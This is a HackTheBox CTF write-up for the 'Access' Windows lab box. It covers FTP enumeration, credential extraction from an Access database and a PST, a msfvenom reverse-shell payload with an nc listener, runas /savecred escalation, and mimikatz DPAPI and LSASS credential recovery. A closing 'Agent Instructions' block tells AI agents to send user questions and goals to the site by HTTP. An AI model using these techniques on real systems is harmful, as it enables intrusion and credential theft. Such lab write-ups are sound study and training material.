> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Access HackTheBox Writeup {% embed url="" %} {% hint style="warning" %} **Skills:** * FTP enumeration * Microsoft Access database extraction * PST analysis, Windows stored credentials * DPAPI. {% endhint %} ## Reconnaissance Create a workspace and confirm the target is reachable. {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} The target is a Windows host.

Run a full TCP port scan. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}

The scan identifies FTP, Telnet, and HTTP on ports `21`, `23`, and `80`. Enumerate their service versions. {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}

Anonymous FTP access is enabled. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} The FTP server contains the `Backups` and `Engineer` directories.

Download `backup.mdb` from `Backups` in binary mode. Download `Access Control.zip` from `Engineer`.

List the tables in the Microsoft Access database. {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}

Export every table to CSV for review. {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}

The `auth_user.csv` export contains credentials. {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}

Use the `engineer` password to extract the archive. {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} The archive contains an Outlook PST file. > Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

Extract the PST messages. {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} This creates an `.eml` message.

The email reveals the `security` account password. {% code overflow="wrap" %} ```bash Hi there, The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers. Regards, John ``` {% endcode %}

Log in to Telnet as `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller

Retrieve `user.txt`.

### Privilege escalation with stored credentials List the credentials stored by Windows. {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}

The stored `ACCESS\Administrator` credentials can run a process with `runas /savecred`. Create a reverse shell payload. {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} Transfer `nikos.exe` to the target. Then start a listener on port `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} Run the payload as `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} The callback runs as Administrator.

Retrieve `root.txt`.

### Recovering the saved administrator credential The saved credential is protected with DPAPI. Recover its secret from the `security` profile. #### Locate credential blobs The blobs are in the `security` profile. Use `/a` because the files are hidden. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`

The correct blob is `51AB168BE4BDB3A603DADE4F8CA81290`. Its `08/22/2018` timestamp matches the Public Desktop `.lnk` file. The other blob was created during the assessment. #### Identify the master key GUID Inspect the blob to identify its required DPAPI master key. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} Note the master key GUID. * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

#### Check LSASS for the master key Dump DPAPI master keys loaded in LSASS. {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} The required GUID `{0792c32e-...}` is absent. This happens because: * The master key belongs to the `security` profile. * The current session runs as `Administrator`. * The `security` master key is not loaded in this context. The dump only contains master keys for `Administrator` and `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → Administrator GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### Decrypt the master key from disk Decrypt the master key directly from disk. Use the known `security` password. First, locate the master key file. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} The `security` SID ends with `-1001`. The Administrator SID ends with `-500`. {% endhint %} Decrypt the master key with Mimikatz. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} The master key SHA-1 is `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

#### Decrypt the credential blob Use the master key SHA-1 to decrypt the credential blob and recover the saved password. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.